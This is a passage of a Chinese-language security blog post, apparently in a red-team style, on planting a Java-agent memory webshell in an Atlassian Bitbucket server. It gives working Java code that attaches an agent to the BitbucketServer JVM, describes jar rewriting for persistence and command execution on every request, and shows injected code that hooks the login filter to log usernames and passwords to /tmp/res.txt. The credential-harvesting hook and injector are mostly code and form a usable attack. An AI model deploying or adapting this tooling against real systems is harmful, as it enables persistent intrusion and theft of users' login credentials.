4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=88ddaf0b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797kygHQt1FydAV61cBicicU9HL2xkN8II9L009kpYCRJ65FfWJFOzNZLEQV6KExJtZdDaibtbWcLria3Q%2F640%3Fwx_fmt%3Dpng"/></figure></li></ol><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">实战使用</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">内存马项目的demo还是挺多的，看了一下完整度比较高的有<a href="https://github.com/threedr3am/ZhouYu，兼容绝大部分的场景。" target="_blank">https://github.com/threedr3am/ZhouYu，兼容绝大部分的场景。</a></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">简单看一下代码，主要是hook了javax.servlet.http.HttpServlet的service方法：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.12643678160919541" title="null" data-w="1566" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=a575e141&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797kygHQt1FydAV61cBicicU9Ho6s9y11gogQmS268iaxdStlfbgGFPRL69bnkWu2HDuh6fjlhp3a7yXg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">很多内存马都是基于tomcat，hook的是dofiler方法，如<a href="https://github.com/safe6Sec/MemoryShell/blob/master/agent/src/com/demo/agent/Main.java，不具备通用性。" target="_blank">https://github.com/safe6Sec/MemoryShell/blob/master/agent/src/com/demo/agent/Main.java，不具备通用性。</a></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">ZhouYu实现的效果是将这段执行命令的代码注入所有的http请求之前：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4532710280373832" title="null" data-w="856" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=79745d23&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797kygHQt1FydAV61cBicicU9HNeXNssvrvUddXTqWPuzKThsTv12wpTBiaKpqGqUGPWEcQqVC71CE5bw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">同时会重写jar包，达到持久化注入内存马的效果：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.47478070175438597" title="null" data-w="912" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=d3f284dc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797kygHQt1FydAV61cBicicU9HQd1lUcibBTYR1O6VFVzDbPqsYf5jhiaPUmrQXUy5dThFoDvDa3SialfyA%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">实战注入</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在windows下打包编译后在linux运行报错：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.17685185185185184" title="null" data-w="1080" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=58216f32&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797kygHQt1FydAV61cBicicU9H7hB8XGYFuJZoUQBRYkcXn3HWiayTpb3oOyMugxib50Lm6GljNlIvWXdQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">看起来是加载器的问题，我们改用之前的加载器在目标编译：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">import com.sun.tools.attach.VirtualMachine;<br/>import com.sun.tools.attach.VirtualMachineDescriptor;<br/> <br/>import java.io.File;<br/>import java.util.List;<br/> <br/> <br/>public class Attach {<br/> <br/> <br/>public static void main(String[] args) throws Exception {<br/> <br/>VirtualMachine                 vm;<br/>List&lt;VirtualMachineDescriptor&gt; vmList;<br/> <br/>String agentFile = new File(&#34;/agent-1.0-SNAPSHOT.jar&#34;).getCanonicalPath();<br/>System.out.println(agentFile);<br/>try {<br/>vmList = VirtualMachine.list();<br/>for (VirtualMachineDescriptor vmd : vmList) {<br/>System.out.println(vmd.displayName());<br/>if (vmd.displayName().contains(&#34;BitbucketServer&#34;) || &#34;&#34;.equals(vmd.displayName())) {<br/>vm = VirtualMachine.attach(vmd);<br/> <br/>if (&#34;&#34;.equals(vmd.displayName()) &amp;&amp; !vm.getSystemProperties().containsKey(&#34;catalina.home&#34;)) {<br/>continue;<br/>}<br/> <br/>if (null != vm) {<br/>vm.loadAgent(agentFile);<br/>System.out.println(&#34;insert success&#34;);<br/>vm.detach();<br/>return;<br/>}<br/>}<br/>}<br/> <br/>System.out.println(&#34;No BitbucketServer Virtual Machine found.&#34;);<br/>} catch (Exception e) {<br/>e.printStackTrace();<br/>}<br/>}<br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">注入的结果如图：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4257142857142857" title="null" data-w="1050" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=d8935c4f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797kygHQt1FydAV61cBicicU9H7fQbUyWJEqhnU1NJY8HtxbOvDibe3YKbps516iaSA3uKnqSn47GZnMqA%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">扩大利用</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">使用内存马除了能简单执行命令外，我们还希望可以扩大利用。搜集该服务器上可以利用的资源，一方面我们可以传统的寻找db/配置文件。另一方面，该系统可能被使用oath2、ldap等认证方式。我们可以通过记录密码的手段获取到更多的有效信息。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">传统记录密码可能通过js+脚本引擎或使用跨域的请求实现，这里bitbucket用户无法修改js文件。想要记密码需要从服务端想办法。这时候内存马也派上了用场。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">查看登录请求，对ZhouYu植入内存的代码稍加修改：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"> StringBuilder codeBuilder = new StringBuilder()<br/>                .append(&#34;if($1.getParameter(\&#34;j_username\&#34;)!=null){&#34;).append(&#34;\n&#34;)<br/>                .append(&#34;String password = $1.getParameter(\&#34;j_password\&#34;);&#34;).append(&#34;\n&#34;)<br/>                .append(&#34;String username = $1.getParameter(\&#34;j_username\&#34;);&#34;).append(&#34;\n&#34;)<br/>                .append(&#34;String ret=username+\&#34;:\&#34;+password+\&#34;\\n\&#34;;&#34;).append(&#34;\n&#34;)<br/>                .append(&#34;byte[] b = ret.getBytes();&#34;).append(&#34;\n&#34;)<br/>                .append(&#34;java.io.File newTextFile = new java.io.File(\&#34;res.txt\&#34;);&#34;).append(&#34;\n&#34;)<br/>                .append(&#34;java.io.FileOutputStream fw = new java.io.FileOutputStream(newTextFile,true);&#34;).append(&#34;\n&#34;)<br/>                .append(&#34;fw.write(b);&#34;).append(&#34;\n&#34;)<br/>                .append(&#34;fw.close();&#34;).append(&#34;\n&#34;)<br/>                .append(&#34;}&#34;).append(&#34;\n&#34;)<br/>                ;</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">再次编译并植入，发现虽然显示注入成功但并没有记录到密码。这里当时推测有几种可能性：</p><ol style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>1. 植入的代码有问题</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>2. 代码没有被执行</p></li></ol><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">针对问题1，笔者修改了记录的字段为password，并且将获取到的参数打印在页面中，发现成功记录password参数的值。排除代码的问题。针对问题2，笔者发现植入ZhouYu代码后，向login发送cmd=id并不会执行命令，也就是说我们植入的代码并没有对所有web请求生效。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">经过多次测试，笔者发现只要请求带着j_username,那么请求就不会进入我们流程。也就是说j_username的处理逻辑在javax.servlet.http.HttpServlet.service之前或根本没有调用javax.servlet.http.HttpServlet.service。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">尝试解决这个问题，笔者首先假设是生命周期的问题，尝试对dofiler进行hook，发现在该接口也无法记录到用户名密码。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在项目所有的依赖中，我们暴力grep j_username字段，发现有一个类包含这个字段。</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.8433333333333334" title="null" data-w="600" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=09e12e87&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797kygHQt1FydAV61cBicicU9HT8rGGsVF417TVOJvR7Nao3ziaOasSyV0AdgEXNK5jPWceiahFCWQHXkQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">其中doFilter很显眼，发现继承于GenericFilterBean，最终来自javax.servlet.Filter。我们尝试hook：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3350202429149798" title="null" data-w="988" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=0340e69c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797kygHQt1FydAV61cBicicU9HHLn0zBItNCOcFpo8MPFu9eYIrjoD0dGPvB04jcU9Ad5Z2cFhKhs18w%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">提示没有请求体，这应该是个接口/抽象方法，我们只能hook具体实现doFilter的地方。尝试hook com.atlassian.stash.internal.spring.security.StashAuthenticationFilter的doFilter方法，一堆报错，不知道为什么:</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.2841796875" title="null" data-w="1024" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=a8fcc0db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797kygHQt1FydAV61cBicicU9HacDacKFbXwLHT8DvXV0YxQK3pj6Rib7ISwP4EnXZjiaib6V9GvOAJpicRw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这时候笔者觉得j_username的认证可能是中间件完成的，我们只有应用的权限可能无法获取到。那么只有转变思路，寻找程序中类似login(username,password)的函数。</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.0962904498816101" title="null" data-w="1267" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=394a8fe0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797kygHQt1FydAV61cBicicU9HltSpZJjWrAEwOehun3QfPAa1Xf8yWG6ugDqjQeQlGiaGL2XJdVXUALQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这个函数看起来很对，接受了账户和密码。实际我们需要从javax.servlet.ServletRequest获取。我们尝试hook createContextFromQueryParameters方法，成功记录：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.40883458646616544" title="null" data-w="1064" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=dda30f3e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797kygHQt1FydAV61cBicicU9HF0MSVkqRkTXQmmHHaAEKfGvg19dyWXQgJn3fXINmKx6dxAHyl9KG9w%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这样还是比较明确的，实际上bitbucket这个项目认证模块没有使用javax.servlet.http.HttpServlet.service而是使用了javax.servlet.ServletRequest。javax.servlet.ServletRequest没有类似service这样可以拿到所有请求的函数，所以无法完成全局的hook。具体项目需要具体分析。</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">几处改动</h3><ol style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>1. 修改被hook的类及方法：</p></li></ol><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"> private String[][] methods = new String[][] {<br/>        new String[] {&#34;com/atlassian/stash/internal/spring/security/StashAuthenticationFilter&#34;, &#34;com.atlassian.stash.internal.spring.security.StashAuthenticationFilter&#34;, &#34;createContextFromQueryParameters&#34;, &#34;*&#34;},<br/>    };</code></pre><ol style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>2. 修改执行的代码</p></li></ol><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">.append(&#34;try {&#34;).append(&#34;\n&#34;)<br/>            .append(&#34;javax.servlet.http.HttpServletRequest request = $1;&#34;).append(&#34;\n&#34;)<br/>            .append(&#34;String password=request.getParameter(\&#34;j_password\&#34;);&#34;).append(&#34;\n&#34;)<br/>            .append(&#34;if(password!=null){&#34;).append(&#34;\n&#34;)<br/>            .append(&#34;String username=request.getParameter(\&#34;j_username\&#34;);&#34;).append(&#34;\n&#34;)<br/>            .append(&#34;String r=username+\&#34;:\&#34;+password;&#34;).append(&#34;\n&#34;)<br/>            .append(&#34;byte[] res = r.getBytes();&#34;).append(&#34;\n&#34;)<br/>            .append(&#34;java.io.File newTextFile = new java.io.File(\&#34;/tmp/res.txt\&#34;);&#34;).append(&#34;\n&#34;)<br/>            .append(&#34;java.io.FileOutputStream fw = new java.io.FileOutputStream(newTextFile,true);&#34;).append(&#34;\n&#34;)<br/>            .append(&#34;fw.write(res);&#34;).append(&#34;\n&#34;)<br/>            .append(&#34;fw.close();&#34;).append(&#34;\n&#34;)<br/>            